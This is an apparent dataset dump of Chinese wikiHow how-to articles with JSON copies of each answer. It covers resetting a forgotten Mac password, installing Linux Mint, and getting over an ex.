当你用新建的密码登录账户后，系统很可能会提示你无法访问钥匙串。这是因为钥匙串只能通过原始的管理员密码进行解锁，因此，使用新密码后，会因为安全问题而无法访问钥匙串。此时，你需要创建一个新的钥匙串来解决重置密码后的一系列问题。
2. 使用恢复模式
2-1. 重启计算机。
如果你无法用Apple ID更改密码，可以考虑使用恢复模式重置密码。你只能在开机过程中进入恢复模式。
2-2. 一听见开机铃声想起，就按住.Command+R组合键。
一直按住组合键不松开，直到屏幕上出现加载进度条。这样就能启动电脑，并进入恢复模式。这一过程需要花费一点时间。
2-3. 点击“实用程序”菜单，选择“终端”。
你能在屏幕顶端的菜单栏里看到实用程序菜单。
2-4. 输入.resetpassword ，按下 回车键。
这将打开重置密码实用程序。
2-5. 选择硬盘。
如果你的Mac电脑上有多个硬盘，你需要选择装有操作系统的那个硬盘。通常被标记为“Macintosh HD”。
2-6. 选择你要更改密码的用户账户。
使用下拉菜单选择对应的用户账户。
2-7. 创建新的管理员密码。
连续两次输入密码，来创建新密码。
2-8. 系统会提示您输入密码。
当你登陆遇到困难时，会显示密码提示信息，以帮助你想起正确的密码。
2-9. 点击“保存”来保存新密码。
接着会重启计算机，你需要输入新密码登录账户。
2-10. 点击苹果菜单，选择“OS X 实用程序” → “退出OS X 实用程序”。
按提示选择重启按钮，接着会重启计算机，你需要使用新密码来进行登录。
2-11. 使用新密码进行登录。
重启后选择用户账户，并使用新密码进行登录。
3. 使用其它管理员账户进行重置
3-1. 登录到第二个管理员账户中。
你需要在计算机上启用第二个账户的管理特权，而且你需要知道这个管理员账户的密码。
如果你已登录到自己的账户中，请先登出账户，然后选择另一个管理员账户。
3-2. 点击苹果菜单，选择“系统偏好设置”。
这会打开系统设置窗口。
3-3. 选择“用户与群组”。
接着会在窗口中显示计算机上的所有用户账户。
3-4. 点击窗口底部的挂锁按钮。
这将允许你对用户与群组中的各项设置进行更改。系统会再次提示你输入你正在使用的管理员账户的密码。
3-5. 选择原始账户。
你能在左侧菜单中看到账户列表，并从里面找到原始账户。你还能看到相关的账户设置。
3-6. 点击“重置密码”按钮。
这将允许你为你的账户创建新密码。
3-7. 为原账户创建新的管理员密码。
连续两次输入密码，来确认创建新密码。点击“更改密码”来保存它。
3-8. 登出目前登陆的账户，再用新密码登录原账户。
你可以用刚刚创建的新密码来登录原始的管理员账户啦。
3-9. 创建新的钥匙串。
使用新密码登陆后，系统会提示你更新钥匙串的密码或为它创建一个新密码。鉴于你不记得旧密码了，所以无法更新钥匙串密码。你可以继续创建一个新的钥匙串。
4. 如何在知道密码的情况下更改密码
4-1. 点击苹果菜单，选择“系统偏好设置”。
这会打开系统设置菜单。这个方法仅适用于在知道原始密码的情况下更改密码。如果你忘记了密码，请使用上面的方法。
4-2. 选择“用户与群组”。
这允许你更改计算机上的用户设置。
4-3. 点击左下角的挂锁按钮，输入当前密码。
这允许你更改各项设置。
4-4. 选择用户账户，点击“更改密码”。
接着会出现新窗口，来让你更改密码。
4-5. 在第一栏里输入原始密码。
这个密码是你当前正在使用的密码。
4-6. 创建新密码。
你需要输入两次以确认密码。点击“更改密码”来保存它。
4-7. 添加密码提示信息（可选）。
你可以添加密码提示信息，这样当你登录遇到困难时，系统会显示提示信息，帮你想起密码。系统会推荐你添加提示信息，这一项不是必填项。
4-8. 立刻开始使用新密码。
更改的新密码会立刻应用到系统中，当系统提示你输入密码时，记得输入新密码。
小提示
将密码写在隐秘的地方（比如，你最爱的一本书的书封面的内侧），以免不小心遗忘了密码。
如果你启用了“文件加密”功能，如果没有验证码和启用文件加密功能时获得的密码，你就无法解锁重置密码功能。如果这些信息遗失了，你的文件就无法找回了。
| {
"create_time": "20230517 11:02:15",
"回答明细": "{\"回答\": \"1. 使用Apple ID\\n1-1. 连续三次输错密码后，系统会弹出提示窗口。\\n如果你第一次设置账户时，启用了安全功能，那么你应该能使用你的Apple ID来重置密码。这个方法仅在启用“允许用户使用 Apple ID 重设密码”功能后才能使用。\\n如果已进入Mac界面，你可以点击苹果菜单，选择“系统偏好设置”来打开这项设置。在系统偏好设置窗口中，选择“用户与群组”选项，然后选中你的账户。点按锁按钮来解锁设置，进行更改，然后点击“允许用户使用 Apple ID 重设密码”。\\n1-2. 点击出现的链接来重置你的密码。\\n连续三次输错密码后，系统会弹出提示窗口（“如果忘记密码，您可以…使用您的 Apple ID 来重设”，或“使用您的主密码来重设”）。如果没有出现这一选项，说明电脑没有启用该项功能，你需要用其它方法来重置密码。\\n1-3. 输入你的苹果账户（Apple ID）密码。\\n想要重置管理员密码，首先需要输入苹果账户密码。这里的苹果账户需要曾经关联过你的Mac用户账户。\\n1-4. 创建新的管理员密码。\\n输入正确的苹果账户密码后，系统会提示你创建一个新的管理员密码。你需要输入密码两次来创建新密码。\\n1-5. 重启后使用新密码进行登录。\\n创建新的管理员密码后，你需要重启计算机。重启后，在登录界面输入新创建的密码来登录账户。\\n1-6. 创建新的钥匙串。\\n当你用新建的密码登录账户后，系统很可能会提示你无法访问钥匙串。这是因为钥匙串只能通过原始的管理员密码进行解锁，因此，使用新密码后，会因为安全问题而无法访问钥匙串。此时，你需要创建一个新的钥匙串来解决重置密码后的一系列问题。\\n2. 使用恢复模式\\n2-1. 重启计算机。\\n如果你无法用Apple ID更改密码，可以考虑使用恢复模式重置密码。你只能在开机过程中进入恢复模式。\\n2-2. 一听见开机铃声想起，就按住.Command+R组合键。\\n一直按住组合键不松开，直到屏幕上出现加载进度条。这样就能启动电脑，并进入恢复模式。这一过程需要花费一点时间。\\n2-3. 点击“实用程序”菜单，选择“终端”。\\n你能在屏幕顶端的菜单栏里看到实用程序菜单。\\n2-4. 输入.resetpassword ，按下 回车键。\\n这将打开重置密码实用程序。\\n2-5. 选择硬盘。\\n如果你的Mac电脑上有多个硬盘，你需要选择装有操作系统的那个硬盘。通常被标记为“Macintosh HD”。\\n2-6. 选择你要更改密码的用户账户。\\n使用下拉菜单选择对应的用户账户。\\n2-7. 创建新的管理员密码。\\n连续两次输入密码，来创建新密码。\\n2-8. 系统会提示您输入密码。\\n当你登陆遇到困难时，会显示密码提示信息，以帮助你想起正确的密码。\\n2-9. 点击“保存”来保存新密码。\\n接着会重启计算机，你需要输入新密码登录账户。\\n2-10. 点击苹果菜单，选择“OS X 实用程序” → “退出OS X 实用程序”。\\n按提示选择重启按钮，接着会重启计算机，你需要使用新密码来进行登录。\\n2-11. 使用新密码进行登录。\\n重启后选择用户账户，并使用新密码进行登录。\\n3. 使用其它管理员账户进行重置\\n3-1. 登录到第二个管理员账户中。\\n你需要在计算机上启用第二个账户的管理特权，而且你需要知道这个管理员账户的密码。\\n如果你已登录到自己的账户中，请先登出账户，然后选择另一个管理员账户。\\n3-2. 点击苹果菜单，选择“系统偏好设置”。\\n这会打开系统设置窗口。\\n3-3. 选择“用户与群组”。\\n接着会在窗口中显示计算机上的所有用户账户。\\n3-4. 点击窗口底部的挂锁按钮。\\n这将允许你对用户与群组中的各项设置进行更改。系统会再次提示你输入你正在使用的管理员账户的密码。\\n3-5. 选择原始账户。\\n你能在左侧菜单中看到账户列表，并从里面找到原始账户。你还能看到相关的账户设置。\\n3-6. 点击“重置密码”按钮。\\n这将允许你为你的账户创建新密码。\\n3-7. 为原账户创建新的管理员密码。\\n连续两次输入密码，来确认创建新密码。点击“更改密码”来保存它。\\n3-8. 登出目前登陆的账户，再用新密码登录原账户。\\n你可以用刚刚创建的新密码来登录原始的管理员账户啦。\\n3-9. 创建新的钥匙串。\\n使用新密码登陆后，系统会提示你更新钥匙串的密码或为它创建一个新密码。鉴于你不记得旧密码了，所以无法更新钥匙串密码。你可以继续创建一个新的钥匙串。\\n4. 如何在知道密码的情况下更改密码\\n4-1. 点击苹果菜单，选择“系统偏好设置”。\\n这会打开系统设置菜单。这个方法仅适用于在知道原始密码的情况下更改密码。如果你忘记了密码，请使用上面的方法。\\n4-2. 选择“用户与群组”。\\n这允许你更改计算机上的用户设置。\\n4-3. 点击左下角的挂锁按钮，输入当前密码。\\n这允许你更改各项设置。\\n4-4. 选择用户账户，点击“更改密码”。\\n接着会出现新窗口，来让你更改密码。\\n4-5. 在第一栏里输入原始密码。\\n这个密码是你当前正在使用的密码。\\n4-6. 创建新密码。\\n你需要输入两次以确认密码。点击“更改密码”来保存它。\\n4-7. 添加密码提示信息（可选）。\\n你可以添加密码提示信息，这样当你登录遇到困难时，系统会显示提示信息，帮你想起密码。系统会推荐你添加提示信息，这一项不是必填项。\\n4-8. 立刻开始使用新密码。\\n更改的新密码会立刻应用到系统中，当系统提示你输入密码时，记得输入新密码。\\n小提示\\n将密码写在隐秘的地方（比如，你最爱的一本书的书封面的内侧），以免不小心遗忘了密码。\\n如果你启用了“文件加密”功能，如果没有验证码和启用文件加密功能时获得的密码，你就无法解锁重置密码功能。如果这些信息遗失了，你的文件就无法找回了。\\n\", \"简要回答\": \"如果你曾使用苹果账户（Apple ID）登陆过你的Mac电脑，那么你可以用它重置丢失的管理员密码。没有登录苹果账户的话，可以使用Mac上的恢复模式，打开重置密码的实用程序。你还可以使用另一个管理员账户来重置电脑密码。如果你还记得密码，可以从用户与群组菜单中更改密码。\", \"结构\": {\"方法\": [{\"编号\": 1, \"标题\": \"使用Apple ID\", \"步骤\": [{\"编号\": 1, \"标题\": \"连续三次输错密码后，系统会弹出提示窗口。\", \"描述\": \"如果你第一次设置账户时，启用了安全功能，那么你应该能使用你的Apple ID来重置密码。这个方法仅在启用“允许用户使用 Apple ID 重设密码”功能后才能使用。\\n如果已进入Mac界面，你可以点击苹果菜单，选择“系统偏好设置”来打开这项设置。在系统偏好设置窗口中，选择“用户与群组”选项，然后选中你的账户。点按锁按钮来解锁设置，进行更改，然后点击“允许用户使用 Apple ID 重设密码”。\"}, {\"编号\": 2, \"标题\": \"点击出现的链接来重置你的密码。\", \"描述\": \"连续三次输错密码后，系统会弹出提示窗口（“如果忘记密码，您可以…使用您的 Apple ID 来重设”，或“使用您的主密码来重设”）。如果没有出现这一选项，说明电脑没有启用该项功能，你需要用其它方法来重置密码。\"}, {\"编号\": 3, \"标题\": \"输入你的苹果账户（Apple ID）密码。\", \"描述\": \"想要重置管理员密码，首先需要输入苹果账户密码。这里的苹果账户需要曾经关联过你的Mac用户账户。\"}, {\"编号\": 4, \"标题\": \"创建新的管理员密码。\", \"描述\": \"输入正确的苹果账户密码后，系统会提示你创建一个新的管理员密码。你需要输入密码两次来创建新密码。\"}, {\"编号\": 5, \"标题\": \"重启后使用新密码进行登录。\", \"描述\": \"创建新的管理员密码后，你需要重启计算机。重启后，在登录界面输入新创建的密码来登录账户。\"}, {\"编号\": 6, \"标题\": \"创建新的钥匙串。\", \"描述\": \"当你用新建的密码登录账户后，系统很可能会提示你无法访问钥匙串。这是因为钥匙串只能通过原始的管理员密码进行解锁，因此，使用新密码后，会因为安全问题而无法访问钥匙串。此时，你需要创建一个新的钥匙串来解决重置密码后的一系列问题。\"}]}, {\"编号\": 2, \"标题\": \"使用恢复模式\", \"步骤\": [{\"编号\": 1, \"标题\": \"重启计算机。\", \"描述\": \"如果你无法用Apple ID更改密码，可以考虑使用恢复模式重置密码。你只能在开机过程中进入恢复模式。\"}, {\"编号\": 2, \"标题\": \"一听见开机铃声想起，就按住.Command+R组合键。\", \"描述\": \"一直按住组合键不松开，直到屏幕上出现加载进度条。这样就能启动电脑，并进入恢复模式。这一过程需要花费一点时间。\"}, {\"编号\": 3, \"标题\": \"点击“实用程序”菜单，选择“终端”。\", \"描述\": \"你能在屏幕顶端的菜单栏里看到实用程序菜单。\"}, {\"编号\": 4, \"标题\": \"输入.resetpassword ，按下 回车键。\", \"描述\": \"这将打开重置密码实用程序。\"}, {\"编号\": 5, \"标题\": \"选择硬盘。\", \"描述\": \"如果你的Mac电脑上有多个硬盘，你需要选择装有操作系统的那个硬盘。通常被标记为“Macintosh HD”。\"}, {\"编号\": 6, \"标题\": \"选择你要更改密码的用户账户。\", \"描述\": \"使用下拉菜单选择对应的用户账户。\"}, {\"编号\": 7, \"标题\": \"创建新的管理员密码。\", \"描述\": \"连续两次输入密码，来创建新密码。\"}, {\"编号\": 8, \"标题\": \"系统会提示您输入密码。\", \"描述\": \"当你登陆遇到困难时，会显示密码提示信息，以帮助你想起正确的密码。\"}, {\"编号\": 9, \"标题\": \"点击“保存”来保存新密码。\", \"描述\": \"接着会重启计算机，你需要输入新密码登录账户。\"}, {\"编号\": 10, \"标题\": \"点击苹果菜单，选择“OS X 实用程序” → “退出OS X 实用程序”。\", \"描述\": \"按提示选择重启按钮，接着会重启计算机，你需要使用新密码来进行登录。\"}, {\"编号\": 11, \"标题\": \"使用新密码进行登录。\", \"描述\": \"重启后选择用户账户，并使用新密码进行登录。\"}]}, {\"编号\": 3, \"标题\": \"使用其它管理员账户进行重置\", \"步骤\": [{\"编号\": 1, \"标题\": \"登录到第二个管理员账户中。\", \"描述\": \"你需要在计算机上启用第二个账户的管理特权，而且你需要知道这个管理员账户的密码。\\n如果你已登录到自己的账户中，请先登出账户，然后选择另一个管理员账户。\"}, {\"编号\": 2, \"标题\": \"点击苹果菜单，选择“系统偏好设置”。\", \"描述\": \"这会打开系统设置窗口。\"}, {\"编号\": 3, \"标题\": \"选择“用户与群组”。\", \"描述\": \"接着会在窗口中显示计算机上的所有用户账户。\"}, {\"编号\": 4, \"标题\": \"点击窗口底部的挂锁按钮。\", \"描述\": \"这将允许你对用户与群组中的各项设置进行更改。系统会再次提示你输入你正在使用的管理员账户的密码。\"}, {\"编号\": 5, \"标题\": \"选择原始账户。\", \"描述\": \"你能在左侧菜单中看到账户列表，并从里面找到原始账户。你还能看到相关的账户设置。\"}, {\"编号\": 6, \"标题\": \"点击“重置密码”按钮。\", \"描述\": \"这将允许你为你的账户创建新密码。\"}, {\"编号\": 7, \"标题\": \"为原账户创建新的管理员密码。\", \"描述\": \"连续两次输入密码，来确认创建新密码。点击“更改密码”来保存它。\"}, {\"编号\": 8, \"标题\": \"登出目前登陆的账户，再用新密码登录原账户。\", \"描述\": \"你可以用刚刚创建的新密码来登录原始的管理员账户啦。\"}, {\"编号\": 9, \"标题\": \"创建新的钥匙串。\", \"描述\": \"使用新密码登陆后，系统会提示你更新钥匙串的密码或为它创建一个新密码。鉴于你不记得旧密码了，所以无法更新钥匙串密码。你可以继续创建一个新的钥匙串。\"}]}, {\"编号\": 4, \"标题\": \"如何在知道密码的情况下更改密码\", \"步骤\": [{\"编号\": 1, \"标题\": \"点击苹果菜单，选择“系统偏好设置”。\", \"描述\": \"这会打开系统设置菜单。这个方法仅适用于在知道原始密码的情况下更改密码。如果你忘记了密码，请使用上面的方法。\"}, {\"编号\": 2, \"标题\": \"选择“用户与群组”。\", \"描述\": \"这允许你更改计算机上的用户设置。\"}, {\"编号\": 3, \"标题\": \"点击左下角的挂锁按钮，输入当前密码。\", \"描述\": \"这允许你更改各项设置。\"}, {\"编号\": 4, \"标题\": \"选择用户账户，点击“更改密码”。\", \"描述\": \"接着会出现新窗口，来让你更改密码。\"}, {\"编号\": 5, \"标题\": \"在第一栏里输入原始密码。\", \"描述\": \"这个密码是你当前正在使用的密码。\"}, {\"编号\": 6, \"标题\": \"创建新密码。\", \"描述\": \"你需要输入两次以确认密码。点击“更改密码”来保存它。\"}, {\"编号\": 7, \"标题\": \"添加密码提示信息（可选）。\", \"描述\": \"你可以添加密码提示信息，这样当你登录遇到困难时，系统会显示提示信息，帮你想起密码。系统会推荐你添加提示信息，这一项不是必填项。\"}, {\"编号\": 8, \"标题\": \"立刻开始使用新密码。\", \"描述\": \"更改的新密码会立刻应用到系统中，当系统提示你输入密码时，记得输入新密码。\"}], \"小提示\": [\"将密码写在隐秘的地方（比如，你最爱的一本书的书封面的内侧），以免不小心遗忘了密码。\\n\", \"如果你启用了“文件加密”功能，如果没有验证码和启用文件加密功能时获得的密码，你就无法解锁重置密码功能。如果这些信息遗失了，你的文件就无法找回了。\\n\"]}]}}",
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14,685 | 如何安装Linux Mint | 1. 步骤
1-1. 如果你正在从其他系统，例如像Ubuntu Linux这样的其他Linux系统中迁移过来，如果你存有重要的文件，应先对之前操作系统中的重要文件进行备份。
虽然这不是必需的，但这样做能确保数据安全。
1-2. 下载Linux Mint操作系统
确保下载适合你的计算机体系的*.iso文件。例如，如果你的计算机是32位或64位的，请确保选择适合你的计算机体系的、正确的Linux Mint操作系统下载。要检测你的计算机是32位的还是64位的，可以前往"开始"，然后在搜索栏中输入"System information"然后点击"System Information"。检查系统类型，如果它显示计算机是"基于x86的"则你的计算机是32位的，否则你的计算机是64位体系的。
下载Linux Mint官方文档
1-3. 把Linux Mint操作系统*.iso镜像文件刻录到DVD中，在大部分情况下，你需要一张可以保存至少885MB数据的空白DVD-R或DVD-RW光盘，因为Linux Mint发行版要求光盘能保存相当的数据量。
使用你的CD/DVD刻录软件吧*.iso文件刻录成'可启动'的Linux Mint Live光盘。如果有合适的选项，你可以选择低写入速度（大部分计算机可以读取，但这并不重要）。
1-4. 查看你的计算机生产商手册，并更改计算机的BIOS，让其从CD/DVD ROM驱动器启动。
创建Linux Mint Live DVD后，把Linux Mint Live DVD插进CD/DVD ROM驱动器然后重启计算机。
这不会从任何方面危害或更改你的计算机。插入Linux Mint Live DVD并重启。如果计算机没有从光盘启动，再次重启并把CD/DVD ROM光驱设置为首选启动设备。
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1-5. 完成加载后，你可以尝试任何操作 - 你的操作结果都不是永久性的。
重启并移除Linux Mint DVD后，一切都将恢复原状。
1-6. 安装Linux Mint操作系统到你的计算机上：
点击桌面上用于安装操作系统到计算机上的链接。
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进行安装过程，选择键盘央视、语言等。这些选项都可以在后期进行更改。
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当你去到分区步骤时，，这是最重要的步骤。在这里，你将完全清空你的硬盘并把Linux Mint安装它（们）之上。如果你想保留Windows或其他操作系统，选择'并列安装'并调整滚动条。Linux Mint只需4GB的空间即可运行，但我们建议你为它流出至少10GB的空间，这样你还有足够的空间安装其他软件和保存你的个人文件。
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点击下一步，填写你的数据完成安装。让安装程序完成安装过程。这通常非常快速。Windows系统需要数小时才能完成安装，但Linux Mint只需要20分钟即可。在某些高速计算机上，这可能只需5分钟，但另一些稍慢的计算机则可能需要半小时。完成后，取出Linux Mint DVD并重启计算机。
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1-7. 安装Linux Mint后，你可以对Linux Mint操作系统进行定制。
要把Linux Mint设置得优雅而高效，请参考该文：如何安装和设置Linux Mint.
小提示
Linux Mint是其中一种由社团推动的发行版。你可以今天在论坛上发布一个注意，然后在一周后，你可能会发现你的想法在"当前"发布版中被实现了出来。不要犹豫，多利用论坛获得帮助或者提供建议，让Linux Mint变得更好用。
如果你遇到问题，可以前往LinuxMint.com的下载部分并阅读用户指南（pdf），或者在Google上搜索你的问题。
The Linux Mint Live DVD不会以任何方式影响你的计算机，除非你决定进行安装或者浏览已经保存在计算机中的问题。操作系统只是加载到你的内存中。你所作出的任何更改（例如下载或设置）将会在关机或进行安装后丢失。因此，这是了解操作系统的情况和使用环境的一个好方法。你可以进行"安装"程序等操作，但它们都不是永久性的，而且这可能会导致你的系统变慢。不要忘记所有这些都是通过你的DVD来运行的，因此它比通常的情况要慢。
警告
安装时，你可以清空或部分清空你的硬盘。如果你保持谨慎并且正确操作，则不会造成任何后果。但请谨记，如果不小心，你有可能会造成数据丢失。
| {
"create_time": "20230517 11:02:15",
"回答明细": "{\"回答\": \"1. 步骤\\n1-1. 如果你正在从其他系统，例如像Ubuntu Linux这样的其他Linux系统中迁移过来，如果你存有重要的文件，应先对之前操作系统中的重要文件进行备份。\\n虽然这不是必需的，但这样做能确保数据安全。\\n1-2. 下载Linux Mint操作系统\\n确保下载适合你的计算机体系的*.iso文件。例如，如果你的计算机是32位或64位的，请确保选择适合你的计算机体系的、正确的Linux Mint操作系统下载。要检测你的计算机是32位的还是64位的，可以前往\\\"开始\\\"，然后在搜索栏中输入\\\"System information\\\"然后点击\\\"System Information\\\"。检查系统类型，如果它显示计算机是\\\"基于x86的\\\"则你的计算机是32位的，否则你的计算机是64位体系的。 \\n下载Linux Mint官方文档\\n1-3. 把Linux Mint操作系统*.iso镜像文件刻录到DVD中，在大部分情况下，你需要一张可以保存至少885MB数据的空白DVD-R或DVD-RW光盘，因为Linux Mint发行版要求光盘能保存相当的数据量。\\n使用你的CD/DVD刻录软件吧*.iso文件刻录成'可启动'的Linux Mint Live光盘。如果有合适的选项，你可以选择低写入速度（大部分计算机可以读取，但这并不重要）。\\n1-4. 查看你的计算机生产商手册，并更改计算机的BIOS，让其从CD/DVD ROM驱动器启动。\\n创建Linux Mint Live DVD后，把Linux Mint Live DVD插进CD/DVD ROM驱动器然后重启计算机。\\n这不会从任何方面危害或更改你的计算机。插入Linux Mint Live DVD并重启。如果计算机没有从光盘启动，再次重启并把CD/DVD ROM光驱设置为首选启动设备。\\n\\n{\\\"smallUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images_en\\\\/thumb\\\\/1\\\\/14\\\\/Uninstall-the-Grub-Bootloader-from-a-Dual-Boot-XP-System-With-an-XP-CD-Step-4.jpg\\\\/v4-460px-Uninstall-the-Grub-Bootloader-from-a-Dual-Boot-XP-System-With-an-XP-CD-Step-4.jpg\\\",\\\"bigUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images\\\\/thumb\\\\/1\\\\/14\\\\/Uninstall-the-Grub-Bootloader-from-a-Dual-Boot-XP-System-With-an-XP-CD-Step-4.jpg\\\\/v4-728px-Uninstall-the-Grub-Bootloader-from-a-Dual-Boot-XP-System-With-an-XP-CD-Step-4.jpg\\\",\\\"smallWidth\\\":460,\\\"smallHeight\\\":345,\\\"bigWidth\\\":728,\\\"bigHeight\\\":546,\\\"licensing\\\":\\\"<div class=\\\\\\\"mw-parser-output\\\\\\\"><\\\\/div>\\\"}\\n1-5. 完成加载后，你可以尝试任何操作 - 你的操作结果都不是永久性的。\\n重启并移除Linux Mint DVD后，一切都将恢复原状。\\n1-6. 安装Linux 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DVD并重启计算机。\\n\\n{\\\"smallUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images_en\\\\/thumb\\\\/2\\\\/2f\\\\/Install-Linux-Mint-Step-6Bullet4.jpg\\\\/v4-460px-Install-Linux-Mint-Step-6Bullet4.jpg\\\",\\\"bigUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images\\\\/thumb\\\\/2\\\\/2f\\\\/Install-Linux-Mint-Step-6Bullet4.jpg\\\\/v4-728px-Install-Linux-Mint-Step-6Bullet4.jpg\\\",\\\"smallWidth\\\":460,\\\"smallHeight\\\":345,\\\"bigWidth\\\":728,\\\"bigHeight\\\":546,\\\"licensing\\\":\\\"<div class=\\\\\\\"mw-parser-output\\\\\\\"><\\\\/div>\\\"}\\n1-7. 安装Linux Mint后，你可以对Linux Mint操作系统进行定制。\\n要把Linux Mint设置得优雅而高效，请参考该文：如何安装和设置Linux Mint.\\n小提示\\nLinux Mint是其中一种由社团推动的发行版。你可以今天在论坛上发布一个注意，然后在一周后，你可能会发现你的想法在\\\"当前\\\"发布版中被实现了出来。不要犹豫，多利用论坛获得帮助或者提供建议，让Linux Mint变得更好用。\\n如果你遇到问题，可以前往LinuxMint.com的下载部分并阅读用户指南（pdf），或者在Google上搜索你的问题。\\nThe Linux Mint Live DVD不会以任何方式影响你的计算机，除非你决定进行安装或者浏览已经保存在计算机中的问题。操作系统只是加载到你的内存中。你所作出的任何更改（例如下载或设置）将会在关机或进行安装后丢失。因此，这是了解操作系统的情况和使用环境的一个好方法。你可以进行\\\"安装\\\"程序等操作，但它们都不是永久性的，而且这可能会导致你的系统变慢。不要忘记所有这些都是通过你的DVD来运行的，因此它比通常的情况要慢。\\n警告\\n安装时，你可以清空或部分清空你的硬盘。如果你保持谨慎并且正确操作，则不会造成任何后果。但请谨记，如果不小心，你有可能会造成数据丢失。\\n\", \"简要回答\": \"Linux Mint是一种基于Ubuntu Linux发行版的类Unix操作系统，而Ubuntu则是基于Debian的。Linux Mint包括了专属和专利软件，从而为用户提供了更完整的开箱即用体验。参考以下文档了解更多：Linux Mint发展史\\n\\n\\nLinux Mint快速链接：\\nLinux Mint主页\\nLinux Mint DVD下载\\nLinux Mint文档\", \"结构\": {\"方法\": [{\"编号\": 1, \"标题\": \"步骤\", \"步骤\": [{\"编号\": 1, \"标题\": \"如果你正在从其他系统，例如像Ubuntu Linux这样的其他Linux系统中迁移过来，如果你存有重要的文件，应先对之前操作系统中的重要文件进行备份。\", \"描述\": \"虽然这不是必需的，但这样做能确保数据安全。\"}, {\"编号\": 2, \"标题\": \"下载Linux Mint操作系统\", \"描述\": \"确保下载适合你的计算机体系的*.iso文件。例如，如果你的计算机是32位或64位的，请确保选择适合你的计算机体系的、正确的Linux Mint操作系统下载。要检测你的计算机是32位的还是64位的，可以前往\\\"开始\\\"，然后在搜索栏中输入\\\"System information\\\"然后点击\\\"System Information\\\"。检查系统类型，如果它显示计算机是\\\"基于x86的\\\"则你的计算机是32位的，否则你的计算机是64位体系的。 \\n下载Linux Mint官方文档\"}, {\"编号\": 3, \"标题\": \"把Linux Mint操作系统*.iso镜像文件刻录到DVD中，在大部分情况下，你需要一张可以保存至少885MB数据的空白DVD-R或DVD-RW光盘，因为Linux Mint发行版要求光盘能保存相当的数据量。\", \"描述\": \"使用你的CD/DVD刻录软件吧*.iso文件刻录成'可启动'的Linux Mint Live光盘。如果有合适的选项，你可以选择低写入速度（大部分计算机可以读取，但这并不重要）。\"}, {\"编号\": 4, \"标题\": \"查看你的计算机生产商手册，并更改计算机的BIOS，让其从CD/DVD ROM驱动器启动。\", \"描述\": \"创建Linux Mint Live DVD后，把Linux Mint Live DVD插进CD/DVD ROM驱动器然后重启计算机。\\n这不会从任何方面危害或更改你的计算机。插入Linux Mint Live DVD并重启。如果计算机没有从光盘启动，再次重启并把CD/DVD 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\"点击桌面上用于安装操作系统到计算机上的链接。\\n\\n{\\\"smallUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images_en\\\\/thumb\\\\/1\\\\/1b\\\\/Install-Linux-Mint-Step-6Bullet1.jpg\\\\/v4-460px-Install-Linux-Mint-Step-6Bullet1.jpg\\\",\\\"bigUrl\\\":\\\"https:\\\\/\\\\/www.wikihow.com\\\\/images\\\\/thumb\\\\/1\\\\/1b\\\\/Install-Linux-Mint-Step-6Bullet1.jpg\\\\/v4-728px-Install-Linux-Mint-Step-6Bullet1.jpg\\\",\\\"smallWidth\\\":460,\\\"smallHeight\\\":345,\\\"bigWidth\\\":728,\\\"bigHeight\\\":546,\\\"licensing\\\":\\\"<div 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DVD不会以任何方式影响你的计算机，除非你决定进行安装或者浏览已经保存在计算机中的问题。操作系统只是加载到你的内存中。你所作出的任何更改（例如下载或设置）将会在关机或进行安装后丢失。因此，这是了解操作系统的情况和使用环境的一个好方法。你可以进行\\\"安装\\\"程序等操作，但它们都不是永久性的，而且这可能会导致你的系统变慢。不要忘记所有这些都是通过你的DVD来运行的，因此它比通常的情况要慢。\\n\"], \"注意事项\": [\"安装时，你可以清空或部分清空你的硬盘。如果你保持谨慎并且正确操作，则不会造成任何后果。但请谨记，如果不小心，你有可能会造成数据丢失。\\n\"]}]}}",
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} | wikihow |
14,686 | 如何忘记你仍然爱着的前任 | 1. 第一周
1-1. 分开时间。
首先，你必须度过一段尽可能不与前度联系的时间。这是你最不想做的事情，但跟前任相处会让你受伤，而且不会帮助你忘记TA。如果你们没有共同的朋友，就不要跟TA见面。如果你们有一群共同的朋友，可能就很难了，因为你会听到关于TA的消息，并且跟这些朋友在一起的时候不得不见到前任。不管怎样，你可以做一些事情来限制与前任的联系：不要评论TA、发短信或者发邮件给TA。不要在QQ/MSN上发起对话。在微博/微信上移除密友关系，这样你就不会经常接收到更新。如果你们在人人网上是好友，解除关系，这样你就不需要阅读TA的每日更新。不要接TA的电话，只回复那些重要的短信。如果TA评论/发短信给你或者在QQ/MSN上跟你聊天，你可以回复，但保持淡然，不要太过友好。不要问你们共同的朋友关于前任的问题。
1-2. 不要追踪TA。
永远不要去阅读前任的评论或者短信。尽量不要看他们的主页或者查看你在TA的好友列表上是什么地位。你会好奇，但你不会想知道的，这只会让你更难受。
1-3. 避开那些让你想起TA的事情， 比如信件、卡片和礼物等。
你可以在房间放自己的、前任和朋友的照片，但不要只有你和TA的照片。
1-4. 不要考虑跟TA勾搭。
如果你们在一个派对上都不会保持清醒，在这些时候或别的时候，都不要试图跟TA聊天，即使对你诱惑很大——特别是在忘记分手之痛的第一个阶段。
1-5. 选择几个密友。
你可以跟他们谈谈你对分手和前任的感受。确保不要跟与你前任更亲密的共同朋友诉说。
1-6. 在这整个过程中，当你想哭的时候就哭。
哭泣不是懦弱，而是释放感情的方式，有时候你必须去做。
2. 第二周
2-1. 承认自己的感受。
从现在开始，问问自己你每天感觉如何，要诚实。另外，确保你对第一周所选的密友坦诚自己的感受。否认并无意义，因为你会开始认为自己已经忘记了前任，但实际上并没有，这样会让你重新体会分手之初的痛苦，你也就不得不重新经历全部过程。
2-2. 人们关心你从现在开始，每天告诉自己有别人在关心你，因为他们确实关心。
2-3. 不要用药物或酒精麻痹自己。
如果你想用这些东西跟朋友找乐趣没关系。但永远不要开始独自享用这些而逃避自己的问题。这是非常、非常吸引人的方式，但对你一点帮助也没有。
2-4. 不要用暴饮暴食或饿到自己来当作应对的方式。
这最终只会让情况更糟，而且会导致其他问题。
2-5. 听悲伤的音乐。
是的，这会让人伤心，让你想起前任，但也会提醒你有很多人理解你的感受。
3. 第三周
3-1. 每个人都会经历心碎。
记住，这是不可避免的，每个人都会经历第一次心碎。每个人都必须在某种程度上经受这样的遭遇。每天都如此告诉自己。
3-2. 尊重TA不想继续和你一起的选择。
要明白TA有自己的选择，TA可以做自己想做的事情，根本上来说这是TA的生活。
